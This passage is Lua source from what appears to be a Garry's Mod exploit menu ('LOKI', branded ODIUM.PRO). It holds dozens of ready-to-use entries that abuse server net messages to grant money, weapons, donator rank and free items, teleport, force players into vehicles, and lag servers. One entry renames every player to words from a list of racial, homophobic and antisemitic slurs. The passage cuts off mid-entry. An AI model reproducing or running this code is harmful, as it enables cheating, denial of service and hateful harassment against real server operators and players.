4341 { typ = "float", Name = "Amount", min = 1, max = (math.pow(2, 32)-1)/2, default = 1000, addr = "shekels23" },
4342 { typ = "func", Name = "Give me shekels", },
4343 },
4344} )
4345LOKI.AddExploit( "Money Exploit", {
4346 desc = "Pickpocket repeater",
4347 severity = 50,
4348 bools = {enabled = false},
4349 status = 1,
4350 times_per_tick = 1,
4351 vars = {},
4352 scan = function() return LOKI.ValidNetString( "fixg" ) end,
4353 hooks = {
4354 Think = function(tbl, sploit)
4355 if(IsValid(LOKI.GetLP():GetNW2Entity("rgg"))) then
4356 LOKI.NetStart( sploit, "fixg" )
4357 net.WriteEntity(LOKI.GetLP():GetNW2Entity("rgg"))
4358 net.SendToServer()
4359 end
4360 end,
4361 },
4362 functions = {
4363 { typ = "bool" },
4364 },
4365} )
4366LOKI.AddExploit( "Money Exploit", {
4367 desc = "It would appear that crime does pay",
4368 severity = 50,
4369 bools = {enabled = false},
4370 status = 1,
4371 times_per_tick = math.huge,
4372 scan = function() return LOKI.ValidNetString( "dialogReward" ) end,
4373 hooks = {
4374 Think = function(tbl, sploit)
4375 LOKI.NetStart( sploit, "dialogReward" )
4376 net.WriteInt( LOKI.GetStored("scpmx_money", 1000), 32 )
4377 net.WriteInt( LOKI.GetStored("scpmx_points", 1000), 32 )
4378 net.SendToServer()
4379 end,
4380 },
4381 functions = {
4382 { typ = "float", Name = "Money", min = 1, max = (math.pow(2, 32)-1)/2, default = 1000, addr = "scpmx_money" },
4383 { typ = "float", Name = "Points", min = 1, max = (math.pow(2, 32)-1)/2, default = 1000, addr = "scpmx_points" },
4384 { typ = "func", Name = "Do it", },
4385 },
4386} )
4387LOKI.AddExploit( "Money Exploit", {
4388 desc = "Buy currency with your mothers credit card",
4389 severity = 50,
4390 bools = {enabled = false},
4391 status = 1,
4392 times_per_tick = math.huge,
4393 scan = function() return LOKI.ValidNetString( "PurchaseGun" ) end,
4394 hooks = {
4395 Think = function(tbl, sploit)
4396 LOKI.NetStart( sploit, "PurchaseGun" )
4397 net.WriteInt( LOKI.GetStored("scpmx2_money", 1000), 16 )
4398 net.SendToServer()
4399 end,
4400 },
4401 functions = {
4402 { typ = "float", Name = "Money", min = 1, max = (math.pow(2, 16)-1)/2, default = 1000, addr = "scpmx2_money" },
4403 { typ = "func", Name = "Do it", },
4404 },
4405} )
4406LOKI.AddExploit( "Money Exploit", {
4407 desc = "Rob the server bank",
4408 severity = 50,
4409 bools = {enabled = false},
4410 status = 1,
4411 times_per_tick = math.huge,
4412 scan = function() return LOKI.ValidNetString( "popupgivereward" ) end,
4413 hooks = {
4414 Think = function(tbl, sploit)
4415 LOKI.NetStart( sploit, "popupgivereward" )
4416 net.WriteInt( LOKI.GetStored("scpmx3_money", 1), 32 )
4417 net.SendToServer()
4418 end,
4419 },
4420 functions = {
4421 { typ = "float", Name = "Days", min = 1, max = 7, default = 1, addr = "scpmx3_money" },
4422 { typ = "func", Name = "Do it", },
4423 },
4424} )
4425LOKI.AddExploit( "Money Exploit", {
4426 desc = "Win the lottery",
4427 severity = 50,
4428 bools = {enabled = false},
4429 status = 1,
4430 times_per_tick = math.huge,
4431 scan = function() return LOKI.ValidNetString( "PurchaseAmmo" ) end,
4432 hooks = {
4433 Think = function(tbl, sploit)
4434 LOKI.NetStart( sploit, "PurchaseAmmo" )
4435 net.WriteInt( LOKI.GetStored("scpmx4_money", 1000), 16 )
4436 net.SendToServer()
4437 end,
4438 },
4439 functions = {
4440 { typ = "float", Name = "Money", min = 1, max = math.floor((math.pow(2, 16)-1)/2), default = 1000, addr = "scpmx4_money" },
4441 { typ = "func", Name = "Do it", },
4442 },
4443} )
4444LOKI.AddExploit( "Money Exploit", {
4445 desc = "Man these negative taxes sure are great!",
4446 severity = 50,
4447 bools = {enabled = false},
4448 status = 1,
4449 times_per_tick = math.huge,
4450 scan = function() return LOKI.ValidNetString( "givemoneyonetime" ) end,
4451 hooks = {
4452 Think = function(tbl, sploit)
4453 LOKI.NetStart( sploit, "givemoneyonetime" )
4454 net.WriteString(-tonumber(LOKI.GetStored("mx24", 1000)))
4455 net.SendToServer()
4456 end,
4457 },
4458 functions = {
4459 { typ = "float", Name = "Money", min = 1, max = math.huge, default = 1000, addr = "mx24" },
4460 { typ = "func", Name = "Do it", },
4461 },
4462} )
4463LOKI.AddExploit( "Money Exploit", {
4464 desc = "It's tax collection day and you've earned negative money this year!",
4465 severity = 50,
4466 bools = {enabled = false},
4467 status = 1,
4468 times_per_tick = math.huge,
4469 scan = function() return LOKI.ValidNetString( "take_my_cash" ) end,
4470 hooks = {
4471 Think = function(tbl, sploit)
4472 LOKI.NetStart( sploit, "take_my_cash" )
4473 net.WriteString(-tonumber(LOKI.GetStored("mx24", 1000)))
4474 net.SendToServer()
4475 end,
4476 },
4477 functions = {
4478 { typ = "float", Name = "Money", min = 1, max = math.huge, default = 1000, addr = "mx24" },
4479 { typ = "func", Name = "Do it", },
4480 },
4481} )
4482LOKI.AddExploit( "Points Exploit", {
4483 desc = "PacMan would disapprove (causes server-side errors, only sometimes works)",
4484 severity = 50,
4485 bools = {enabled = false},
4486 status = 1,
4487 times_per_tick = math.huge,
4488 scan = function() return LOKI.ValidNetString( "IntercomPlay" ) end,
4489 hooks = {
4490 Think = function(tbl, sploit)
4491 for i=0, tonumber(LOKI.GetStored("scpmx5_points", 1000)) do
4492 LOKI.NetStart( sploit, "IntercomPlay" )
4493 net.SendToServer()
4494 end
4495 end,
4496 },
4497 functions = {
4498 { typ = "float", Name = "Points", min = 1, max = math.huge, default = 1000, addr = "scpmx5_points" },
4499 { typ = "func", Name = "Do it", },
4500 },
4501} )
4502LOKI.AddExploit( "Donator Exploit", {
4503 desc = "Become a Pay2Win player for free",
4504 severity = 50,
4505 bools = {enabled = false},
4506 status = 1,
4507 times_per_tick = math.huge,
4508 scan = function() return LOKI.ValidNetString( "createvalue" ) end,
4509 hooks = {
4510 Think = function(tbl, sploit)
4511 LOKI.NetStart( sploit, "createvalue" )
4512 net.WriteString( "donatelevel" )
4513 net.WriteInt( LOKI.GetStored("donate1", 6), 16 )
4514 net.SendToServer()
4515 end,
4516 },
4517 functions = {
4518 { typ = "float", Name = "Level", min = 1, max = (math.pow(2, 16)-1)/2, default = 6, addr = "donate1" },
4519 { typ = "func", Name = "Do it", },
4520 },
4521} )
4522LOKI.AddExploit( "Inventory Exploit", {
4523 desc = "Buy any item (even donator/admin restricted)",
4524 severity = 50,
4525 bools = {enabled = false},
4526 status = 1,
4527 times_per_tick = 1,
4528 scan = function() return LOKI.RecursiveGetVar(_G, {"CRAFTINGMOD"}, "table") != false || LOKI.RecursiveGetVar(_G, {"FARMINGMOD"}, "table") != false || LOKI.RecursiveGetVar(_G, {"FISHINGMOD"}, "table") != false end,
4529 count = {
4530 ["Active"] = 0,
4531 ["Total"] = 3,
4532 },
4533 initial = function(sploit)
4534 if(sploit.count.Active == 0) then
4535 local CMOD_Messages = {
4536 ["CRAFTINGMOD"] = true,
4537 ["FARMINGMOD"] = true,
4538 ["FISHINGMOD"] = true,
4539 }
4540 for k, v in pairs(CMOD_Messages) do
4541 if(LOKI.DynamicNetString(k)) then
4542 sploit.count.Active = sploit.count.Active + 1
4543 end
4544 end
4545 end
4546 end,
4547 hooks = {
4548 Think = function(tbl, sploit)
4549 if(tbl[1] == 1) then
4550 local CMOD = LOKI.RecursiveGetVar(_G, {"CRAFTINGMOD"}, "table")
4551 if(CMOD) then
4552 LOKI.Menu:SetVisible(false)
4553 local buy_tbl = {}
4554 for k, v in pairs(CMOD) do
4555 if(LOKI.ValidTable(v) && v.LIST) then
4556 for k2, v2 in pairs(v.LIST) do
4557 if(v2.BUY) then
4558 if(!v2.MODEL) then
4559 v2.MODEL = "models/error.mdl"
4560 end
4561 table.insert(buy_tbl, v2)
4562 end
4563 end
4564 end
4565 end
4566 CMOD.PANELS.Shop_ = buy_tbl
4567 CMOD.PANELS.Shop_Entity = ents.FindByClass("CRAFTINGMOD_SHOP")[1] || Entity(0)
4568 CMOD.PANELS:CreateShop()
4569 end
4570 elseif(tbl[1] == 2) then
4571 local Shop = LOKI.RecursiveGetVar(_G, {"FARMINGMOD", "Shop"}, "function")
4572 if(Shop) then
4573 Shop(FARMINGMOD)
4574 LOKI.Menu:SetVisible(false)
4575 end
4576 elseif(tbl[1] == 3) then
4577 local Shop = LOKI.RecursiveGetVar(_G, {"FISHINGMOD", "Menu", "CreateShop"}, "function")
4578 if(Shop) then
4579 Shop(FISHINGMOD.Menu)
4580 LOKI.Menu:SetVisible(false)
4581 end
4582 end
4583 end,
4584 net = {
4585 WriteTable = function(sploit, varargs)
4586 if(istable(varargs[1])) then
4587 for k, v in pairs(varargs[1]) do
4588 if(isfunction(v)) then
4589 varargs[1][k] = nil
4590 end
4591 end
4592 end
4593 end,
4594 },
4595 },
4596 functions = {
4597 { typ = "func", Name = "Mining Shop", args = {1}, required = LOKI.RecursiveGetVar(_G, {"CRAFTINGMOD"}, "table") != false},
4598 { typ = "func", Name = "Farming Shop", args = {2}, required = LOKI.RecursiveGetVar(_G, {"FARMINGMOD"}, "table") != false},
4599 { typ = "func", Name = "Fishing Shop", args = {3}, required = LOKI.RecursiveGetVar(_G, {"FISHINGMOD"}, "table") != false},
4600 },
4601} )
4602LOKI.AddExploit( "Inventory Exploit", {
4603 desc = "Inverse the polarity of the servers moral compass",
4604 severity = 1,
4605 bools = {enabled = false},
4606 status = 1,
4607 times_per_tick = math.huge,
4608 count = {
4609 ["Active"] = 0,
4610 ["Total"] = 9,
4611 },
4612 scan = function() return LOKI.DynamicNetString("CRAFTINGMOD") || LOKI.DynamicNetString("FARMINGMOD") || LOKI.DynamicNetString("FISHINGMOD") end,
4613 initial = function(sploit)
4614 if(sploit.count.Active == 0) then
4615 local CMOD_Messages = {
4616 ["CRAFTINGMOD"] = true,
4617 ["FARMINGMOD"] = true,
4618 ["FISHINGMOD"] = true,
4619 }
4620 for k, v in pairs(CMOD_Messages) do
4621 if(LOKI.DynamicNetString(k)) then
4622 sploit.count.Active = sploit.count.Active + 3
4623 end
4624 end
4625 end
4626 end,
4627 hooks = {
4628 net = {
4629 WriteInt = function(sploit, varargs)
4630 local CMOD_Messages = {
4631 ["CRAFTINGMOD"] = true,
4632 ["FARMINGMOD"] = true,
4633 ["FISHINGMOD"] = true,
4634 }
4635 for k, v in pairs(CMOD_Messages) do
4636 if(sploit.bools.enabled && LOKI.NetOutgoingMsg && LOKI.NetOutgoingMsg:find(k)) then
4637 varargs[1] = -varargs[1]
4638 break
4639 end
4640 end
4641 end,
4642 },
4643 },
4644 functions = {
4645 { typ = "bool" },
4646 },
4647} )
4648LOKI.AddExploit( "Inventory Exploit", {
4649 desc = "Convince the NPCs that you're a worthy charity",
4650 severity = 1,
4651 bools = {enabled = false},
4652 status = 1,
4653 times_per_tick = math.huge,
4654 count = {
4655 ["Active"] = 2,
4656 ["Total"] = 2,
4657 },
4658 scan = function() return LOKI.DynamicNetString("BuyFromShopNPC") end,
4659 hooks = {
4660 net = {
4661 WriteTable = function(sploit, varargs)
4662 if(sploit.bools.enabled && istable(varargs[1]) && varargs[1].price && LOKI.NetOutgoingMsg && LOKI.NetOutgoingMsg:find("BuyFromShopNPC")) then
4663 varargs[1].price = 0
4664 end
4665 end,
4666 },
4667 },
4668 functions = {
4669 { typ = "bool" },
4670 },
4671} )
4672LOKI.AddExploit( "Vehicle Exploit", {
4673 desc = "Give yourself a preset car",
4674 severity = 50,
4675 bools = {enabled = false},
4676 status = 1,
4677 times_per_tick = 1,
4678 vars = {},
4679 scan = function() return LOKI.ValidNetString( "race_accept" ) end,
4680 hooks = {
4681 Think = function(tbl, sploit)
4682 LOKI.NetStart( sploit, "race_accept")
4683 net.SendToServer()
4684 end,
4685 },
4686 functions = {
4687 { typ = "func", Name = "Give me wheels", },
4688 },
4689} )
4690LOKI.AddExploit( "Vehicle Exploit", {
4691 desc = "Force any player into a vehicle",
4692 severity = 1,
4693 bools = {enabled = false},
4694 status = 1,
4695 times_per_tick = math.huge,
4696 scan = function() return LOKI.ValidNetString( "simfphys_request_seatswitch" ) end,
4697 hooks = {
4698 Think = function(tbl, sploit)
4699 local exploit = function(pl,veh,s)
4700 LOKI.NetStart( sploit, "simfphys_request_seatswitch", true )
4701 net.WriteEntity(veh)
4702 net.WriteEntity(pl)
4703 net.WriteInt(s, 32)
4704 net.SendToServer()
4705 end
4706
4707 local ply = LOKI.GetStored("vx_ply", {})[1]
4708 local vehicle = LOKI.GetStored("vx_veh", {})[1]
4709 local seat = nil
4710 local pSeats = {}
4711
4712 if(IsValid(ply) && IsValid(vehicle)) then
4713 if(isfunction(vehicle.GetRPM) && !IsValid( vehicle:GetDriver() )) then
4714 return exploit(ply, vehicle, 0)
4715 end
4716 for k, v in ipairs(ents.GetAll()) do
4717 if(v:GetParent() == vehicle) then
4718 table.insert(pSeats, v)
4719 end
4720 end
4721 for k, v in ipairs(pSeats) do
4722 for k2, v2 in ipairs(player.GetAll()) do
4723 if(v2:GetVehicle() == v) then
4724 continue
4725 end
4726 end
4727 return exploit(ply, vehicle, k)
4728 end
4729 end
4730 end,
4731 },
4732 functions = {
4733 { typ = "player", addr = "vx_ply", Name = "Player" },
4734 { typ = "entity", addr = "vx_veh", Name = "Vehicle", tbl = function() return LOKI.ents.FindByGlobal("GetDriverSeat") end },
4735 { typ = "func", Name = "Do it", },
4736 },
4737} )
4738LOKI.AddExploit( "NoClip Exploit", {
4739 desc = "Enter the spirit realm",
4740 severity = 95,
4741 bools = {enabled = false},
4742 status = 1,
4743 times_per_tick = 0,
4744 vars = {},
4745 scan = function() return LOKI.ValidNetString( "flyover_git" ) end,
4746 OnEnable = function(var, sploit)
4747 if(var != "noclip") then return end
4748 local pos = LOKI.GetLP():GetPos()
4749 LOKI.NetStart( sploit, "flyover_git")
4750 net.WriteString(tostring(pos.x).." "..tostring(pos.y).." "..tostring(pos.z))
4751 net.SendToServer()
4752 end,
4753 OnDisable = function(var, sploit)
4754 if(var != "noclip") then return end
4755 local pos = LOKI.GetLP():GetPos()
4756 LOKI.NetStart( sploit, "fly_over_end")
4757 net.WriteString(tostring(pos.x).." "..tostring(pos.y).." "..tostring(pos.z))
4758 net.SendToServer()
4759 end,
4760 hooks = {
4761 Think = function(tbl, sploit)
4762 local pos = LOKI.Freecam.EyePos() - (LOKI.GetLP():EyePos() - LOKI.GetLP():GetPos())
4763 LOKI.NetStart( sploit, "fly_over_end")
4764 net.WriteString(tostring(pos.x).." "..tostring(pos.y).." "..tostring(pos.z))
4765 net.SendToServer()
4766 end,
4767 },
4768 functions = {
4769 { typ = "bool", ToggleText = {"NoClip"}, border = true, bool = "noclip" },
4770 { typ = "func", Name = "Teleport" },
4771 },
4772} )
4773LOKI.AddExploit( "NoClip Exploit", {
4774 desc = "Enter the spirit realm",
4775 severity = 95,
4776 bools = {enabled = false},
4777 status = 1,
4778 times_per_tick = 0,
4779 vars = {},
4780 scan = function() return LOKI.ValidNetString( "079ServerAction" ) end,
4781 hooks = {
4782 CreateMove = function(tbl, sploit)
4783 if(sploit.bools.enabled && LOKI.Freecam.Enabled == true) then
4784 local pos = LOKI.Freecam.EyePos() - (LOKI.GetLP():EyePos() - LOKI.GetLP():GetPos())
4785 LOKI.NetStart(sploit, "079ServerAction")
4786 net.WriteString("Move")
4787 net.WriteVector(pos)
4788 net.SendToServer()
4789 end
4790 end,
4791 },
4792 functions = {
4793 { typ = "bool" },
4794 },
4795} )
4796LOKI.AddExploit( "NoClip Exploit", {
4797 desc = "Enter the spirit realm",
4798 severity = 95,
4799 bools = {enabled = false},
4800 status = 1,
4801 times_per_tick = 0,
4802 vars = {},
4803 scan = function() return LOKI.ValidNetString( "XMH_TeleportPlayer" ) end,
4804 hooks = {
4805 CreateMove = function(tbl, sploit)
4806 if(sploit.bools.enabled && LOKI.Freecam.Enabled == true) then
4807 local pos = LOKI.Freecam.EyePos() - (LOKI.GetLP():EyePos() - LOKI.GetLP():GetPos())
4808 LOKI.NetStart(sploit, "XMH_TeleportPlayer")
4809 net.WriteVector(pos)
4810 net.SendToServer()
4811 end
4812 end,
4813 },
4814 functions = {
4815 { typ = "bool" },
4816 },
4817} )
4818LOKI.AddExploit( "Vehicle Exploit", {
4819 desc = "Give yourself a firetruck",
4820 severity = 50,
4821 bools = {enabled = false},
4822 status = 1,
4823 times_per_tick = 1,
4824 vars = {},
4825 scan = function() return LOKI.ValidNetString( "race_accept" ) end,
4826 hooks = {
4827 Think = function(tbl, sploit)
4828 LOKI.NetStart( sploit, "FIRE_CreateFireTruck")
4829 net.SendToServer()
4830 end,
4831 },
4832 functions = {
4833 { typ = "func", Name = "Give me wheels", },
4834 },
4835} )
4836LOKI.AddExploit( "Weapons Exploit", {
4837 desc = "Give yourself any weapon",
4838 severity = 50,
4839 bools = {enabled = false},
4840 status = -1,
4841 times_per_tick = 1,
4842 vars = {},
4843 scan = function() return LOKI.ValidNetString( "give_me_weapon" ) end,
4844 hooks = {
4845 Think = function(tbl, sploit)
4846 LOKI.NetStart( sploit, "give_me_weapon")
4847 net.WriteString(LOKI.GetStored( "weapons1" ))
4848 net.SendToServer()
4849 end,
4850 },
4851 functions = {
4852 { typ = "string", Name = "Weapon Class", default = "weapon_rpg", addr = "weapons1" },
4853 { typ = "func", Name = "Give me artillery", },
4854 },
4855} )
4856LOKI.AddExploit( "Weapons Exploit", {
4857 desc = "Give yourself an explosion spell",
4858 severity = 50,
4859 bools = {enabled = false},
4860 status = 1,
4861 times_per_tick = 1,
4862 vars = {},
4863 scan = function() return LOKI.ValidNetString( "hpwrewrite_achievement1" ) end,
4864 hooks = {
4865 Think = function(tbl, sploit)
4866 LOKI.NetStart( sploit, "hpwrewrite_achievement1")
4867 net.SendToServer()
4868 end,
4869 },
4870 functions = {
4871 { typ = "func", Name = "Give me artillery", },
4872 },
4873} )
4874LOKI.AddExploit( "Weapons Exploit", {
4875 desc = "Give yourself any weapon",
4876 severity = 50,
4877 bools = {enabled = false},
4878 status = -1,
4879 times_per_tick = math.huge,
4880 scan = function() return LOKI.ValidNetString( "CraftSomething" ) end,
4881 hooks = {
4882 Think = function(tbl, sploit)
4883 LOKI.NetStart( sploit, "CraftSomething" )
4884 net.WriteEntity( LOKI.GetLP() )
4885 net.WriteString( LOKI.GetStored( "weapons2" ) )
4886 net.WriteString( "" )
4887 net.WriteString( "weapon" )
4888 net.SendToServer()
4889 end,
4890 },
4891 functions = {
4892 { typ = "string", Name = "Weapon Class", default = "weapon_rpg", addr = "weapons2" },
4893 { typ = "func", Name = "Give me artillery", },
4894 },
4895} )
4896LOKI.AddExploit( "Weapons Exploit", {
4897 desc = "Give yourself any weapon",
4898 severity = 50,
4899 bools = {enabled = false},
4900 status = -1,
4901 times_per_tick = math.huge,
4902 scan = function() return LOKI.ValidNetString( "SquadGiveWeapon" ) end,
4903 hooks = {
4904 Think = function(tbl, sploit)
4905 LOKI.NetStart( sploit, "SquadGiveWeapon" )
4906 net.WriteString(LOKI.GetStored( "weapons3" ))
4907 net.WriteEntity(LOKI.GetLP())
4908 net.SendToServer()
4909 end,
4910 },
4911 functions = {
4912 { typ = "string", Name = "Weapon Class", default = "weapon_rpg", addr = "weapons3" },
4913 { typ = "func", Name = "Give me artillery", },
4914 },
4915} )
4916LOKI.AddExploit( "Weapons Exploit", {
4917 desc = "Give yourself any weapon. (works but requires an admin to have used !give at least once since server start)",
4918 severity = 50,
4919 bools = {enabled = false},
4920 status = 1,
4921 times_per_tick = 1,
4922 vars = {},
4923 scan = function() return LOKI.ValidNetString( "giveweapon" ) end,
4924 hooks = {
4925 Think = function(tbl, sploit)
4926 LOKI.NetStart( sploit, "giveweapon")
4927 net.WriteString(LOKI.GetStored( "weapons4" ))
4928 net.SendToServer()
4929 end,
4930 },
4931 functions = {
4932 { typ = "string", Name = "Weapon Class", default = "weapon_rpg", addr = "weapons4" },
4933 { typ = "func", Name = "Give me artillery", },
4934 },
4935} )
4936LOKI.AddExploit( "Weapons Exploit", {
4937 desc = "Give yourself any weapon",
4938 severity = 50,
4939 bools = {enabled = false},
4940 status = 1,
4941 times_per_tick = 1,
4942 vars = {},
4943 scan = function() return LOKI.ValidNetString( "CRAFTINGMOD_INVENTORY" ) end,
4944 hooks = {
4945 Think = function(tbl, sploit)
4946 LOKI.NetStart(sploit, "CRAFTINGMOD_INVENTORY")
4947 net.WriteTable({type = 4, SWEP = LOKI.GetStored( "weapons5" ), SKIN = 0})
4948 net.WriteInt(0, 16)
4949 net.WriteString(tostring(CRAFTINGMOD.PANELS.Inventory_ID))
4950 net.SendToServer()
4951 end,
4952 },
4953 functions = {
4954 { typ = "string", Name = "Weapon Class", default = "weapon_rpg", addr = "weapons5" },
4955 { typ = "func", Name = "Give me artillery", },
4956 },
4957} )
4958LOKI.AddExploit( "Weapons Exploit", {
4959 desc = "Give or take weapons to/from yourself",
4960 severity = 50,
4961 bools = {enabled = false},
4962 status = 1,
4963 times_per_tick = 1,
4964 vars = {},
4965 scan = function() return LOKI.ValidNetString( "dialogAlterWeapons" ) end,
4966 hooks = {
4967 Think = function(tbl, sploit)
4968 local weaps = {}
4969 LOKI.NetStart(sploit, "dialogAlterWeapons", true)
4970 net.WriteString( tbl[1] )
4971 if(tbl[2] == "All") then
4972 if(tbl[1] == "Remove") then
4973 for k1, v1 in pairs(v:GetWeapons()) do
4974 table.insert(weaps, v1:GetClass())
4975 end
4976 elseif(tbl[1] == "Add") then
4977 for k1, v1 in pairs(weapons.GetList()) do
4978 weaps[#weaps+1] = v1.ClassName
4979 end
4980 end
4981 else
4982 weaps = string.Split( LOKI.GetStored("scpwx_weaps", "weapon_rpg,weapon_smg1"), "," )
4983 end
4984 net.WriteTable( weaps )
4985 net.WriteEntity( LOKI.GetLP() )
4986 net.SendToServer()
4987 end,
4988 },
4989 functions = {
4990 { typ = "string", Name = "Weapons", default = "weapon_rpg,weapon_smg1", addr = "scpwx_weaps" },
4991 { typ = "func", Name = "Give", args = {"Add"} },
4992 { typ = "func", Name = "Take", args = {"Remove"} },
4993 { typ = "func", Name = "Strip", args = {"Remove", "All"} },
4994 { typ = "func", Name = "Give All", args = {"Add", "All"} },
4995 },
4996} )
4997LOKI.AddExploit( "Weapons Exploit", {
4998 desc = "Give yourself any weapon",
4999 severity = 50,
5000 bools = {enabled = false},
5001 status = 1,
5002 times_per_tick = 1,
5003 vars = {},
5004 scan = function() return LOKI.ValidNetString( "R_PERM.BuyFromShopNPC" ) end,
5005 hooks = {
5006 Think = function(tbl, sploit)
5007 LOKI.NetStart(sploit, "R_PERM.BuyFromShopNPC")
5008 net.WriteTable({type="Weapon",class=LOKI.GetStored( "weapons6" ),price=0})
5009 net.SendToServer()
5010 end,
5011 },
5012 functions = {
5013 { typ = "string", Name = "Weapon Class", default = "weapon_rpg", addr = "weapons6" },
5014 { typ = "func", Name = "Give me artillery", },
5015 },
5016} )
5017LOKI.AddExploit( "Weapons Exploit", {
5018 desc = "Give yourself default weapons",
5019 severity = 50,
5020 bools = {enabled = false},
5021 status = 1,
5022 times_per_tick = 1,
5023 vars = {},
5024 scan = function() return LOKI.ValidNetString( "XMH_HandleWeapons" ) end,
5025 hooks = {
5026 Think = function(tbl, sploit)
5027 LOKI.NetStart(sploit, "XMH_HandleWeapons")
5028 net.WriteString("xmh_givehl2weapons")
5029 net.SendToServer()
5030 LOKI.NetStart(sploit, "XMH_HandleWeapons")
5031 net.WriteString("xmh_givegmweapons")
5032 net.SendToServer()
5033 end,
5034 },
5035 functions = {
5036 { typ = "func", Name = "Give me artillery", },
5037 },
5038} )
5039LOKI.AddExploit( "Ammo Exploit", {
5040 desc = "Get unlimited ammo for every weapon",
5041 severity = 50,
5042 bools = {enabled = false},
5043 status = -1,
5044 times_per_tick = math.huge,
5045 prevalidated = true,
5046 scan = function() return LOKI.ValidNetString( "TCBBuyAmmo" ) && net.Receivers["tcbsendammo"] end,
5047 hooks = {
5048 Think = function(tbl, sploit)
5049 for k,v in pairs(GAMEMODE.AmmoTypes) do
5050 LOKI.NetStart(sploit, "TCBBuyAmmo")
5051 net.WriteTable( {nil,v.ammoType,nil,"0","999999"} )
5052 net.SendToServer()
5053 end
5054 end,
5055 },
5056 functions = {
5057 { typ = "string", Name = "Weapon Class", default = "weapon_rpg", addr = "weapons2" },
5058 { typ = "func", Name = "Give me artillery", },
5059 },
5060} )
5061LOKI.AddExploit( "Join Police", {
5062 desc = "Join the police force without going through the fucking form",
5063 severity = 50,
5064 bools = {enabled = false},
5065 status = -1,
5066 times_per_tick = math.huge,
5067 scan = function() return LOKI.ValidNetString( "PoliceJoin" ) end,
5068 hooks = {
5069 Think = function(tbl, sploit)
5070 LOKI.NetStart( sploit, "PoliceJoin" )
5071 net.SendToServer()
5072 end,
5073 },
5074 functions = {
5075 { typ = "func", Name = "Become a cop", },
5076 },
5077} )
5078LOKI.AddExploit( "Join Police", {
5079 desc = "Join the police force without going through the fucking form",
5080 severity = 50,
5081 bools = {enabled = false},
5082 status = -1,
5083 times_per_tick = math.huge,
5084 scan = function() return LOKI.ValidNetString( "CpForm_Answers" ) end,
5085 hooks = {
5086 Think = function(tbl, sploit)
5087 LOKI.NetStart( sploit, "CpForm_Answers")
5088 net.WriteEntity(LOKI.GetLP())
5089 net.WriteTable({})
5090 net.SendToServer()
5091 end,
5092 },
5093 functions = {
5094 { typ = "func", Name = "Become a cop", },
5095 },
5096} )
5097LOKI.AddExploit( "Printer Smasher", {
5098 desc = "Apply constant damage to any printers nearby",
5099 severity = 50,
5100 bools = {enabled = false},
5101 status = 1,
5102 msgs_per_tick = 3,
5103 times_per_tick = 1,
5104 vars = {},
5105 scan = function() return LOKI.ValidNetString( "customprinter_get" ) end,
5106 hooks = {
5107 Tick = function(tbl, sploit)
5108 for k, v in ipairs( LOKI.ents.FindByGlobal("IsCustomHQ") ) do
5109 if ( v:GetPos():Distance( LOKI.GetLP():GetPos() ) <= 750 ) then
5110 LOKI.NetStart( sploit, "customprinter_get")
5111 net.WriteEntity(v)
5112 net.WriteString("onoff")
5113 net.SendToServer()
5114 LOKI.NetStart( sploit, "customprinter_get")
5115 net.WriteEntity(v)
5116 net.WriteString("c_off")
5117 net.SendToServer()
5118 LOKI.NetStart( sploit, "customprinter_get")
5119 net.WriteEntity(v)
5120 net.WriteString("p_up")
5121 net.SendToServer()
5122 end
5123 end
5124 end,
5125 },
5126 functions = {
5127 { typ = "bool", },
5128 },
5129} )
5130local Names = { "Nigger", "Faggot", "Kike", "Cuckmaster", "Skid", "GetODIUM.PRO", "ODIUM.PRO", "Shit", "Piss", "Permavirgin", "CitizenRat", "Feminist", "Fuckhead", "Cunt", "ODIUM.PRO", "CockWart", "DickTickle", "FuckAdmins", "Paidmin", "ShitServer" }
5131LOKI.AddExploit( "Name Changer", {
5132 desc = "Destroy everybodys RPNames",
5133 severity = 50,
5134 bools = {enabled = false},
5135 status = 2,
5136 times_per_tick = 1,
5137 vars = {},
5138 scan = function() return LOKI.ValidNetString( "NC_GetNameChange" ) end,
5139 hooks = {
5140 Think = function(tbl, sploit)
5141 for k, v in ipairs( player.GetAll() ) do
5142 LOKI.NetStart( sploit, "NC_GetNameChange")
5143 net.WriteEntity(v)
5144 net.WriteString(table.Random(Names))
5145 net.WriteString(table.Random(Names))
5146 net.SendToServer()
5147 end
5148 end,
5149 },
5150 functions = {
5151 { typ = "bool", },
5152 },
5153} )
5154LOKI.AddExploit( "Lagsploit", {
5155 desc = "Lag the shit out of the server",
5156 severity = 100,
5157 bools = {enabled = false},
5158 status = 1,
5159 msgs_per_tick = 3,
5160 times_per_tick = 300,
5161 prevalidated = true,
5162 scan = function() return LOKI.ValidNetString( "ATS_WARP_REMOVE_CLIENT", "ATS_WARP_FROM_CLIENT", "ATS_WARP_VIEWOWNER" ) end,
5163 hooks = {
5164 Think = function(tbl, sploit)
5165 LOKI.NetStart( sploit, "ATS_WARP_REMOVE_CLIENT" )
5166 net.WriteEntity( LOKI.GetLP() )
5167 net.WriteString( "adminroom1" )
5168 net.SendToServer()
5169 LOKI.NetStart( sploit, "ATS_WARP_FROM_CLIENT" )
5170 net.WriteEntity( LOKI.GetLP() )
5171 net.WriteString( "adminroom1" )
5172 net.SendToServer()
5173 LOKI.NetStart( sploit, "ATS_WARP_VIEWOWNER" )
5174 net.WriteEntity( LOKI.GetLP() )
5175 net.WriteString( "adminroom1" )
5176 net.SendToServer()
5177 end,
5178 },
5179 functions = {
5180 { typ = "bool", },
5181 },
5182} )
5183LOKI.AddExploit( "Lagsploit", {
5184 desc = "Lag the shit out of the server",
5185 severity = 90,
5186 bools = {enabled = false},
5187 status = 3,
5188 msgs_per_tick = function() return player.GetCount * 3 end,
5189 times_per_tick = math.huge,
5190 prevalidated = true,
5191 scan = function() return LOKI.ValidNetString( "CFCreateGame", "CFJoinGame", "CFRemoveGame", "CFEndGame" ) end,
5192 hooks = {
5193 Think = function(tbl, sploit)
5194 for k,v in ipairs(player.GetAll()) do
5195 LOKI.NetStart( sploit, "CFRemoveGame" )
5196 net.WriteFloat( math.Round( "10000\n" ) )
5197 net.SendToServer()
5198 LOKI.NetStart( sploit, "CFJoinGame" )
5199 net.WriteFloat( math.Round( "10000\n" ) )
5200 net.SendToServer()
5201 LOKI.NetStart( sploit, "CFEndGame" )
5202 net.WriteFloat( "10000\n" )
5203 net.SendToServer()
5204 end
5205 end,
5206 },
5207 functions = {
5208 { typ = "bool", },
5209 },
5210} )
5211LOKI.AddExploit( "Lagsploit", {
5212 desc = "Moves the server onto an african ISP (Discovered by niku)",
5213 severity = 100,
5214 bools = {enabled = false},
5215 status = 1,
5216 times_per_tick = math.huge,
5217 scan = function() return LOKI.ValidNetString( "CreateCase" ) end,
5218 hooks = {
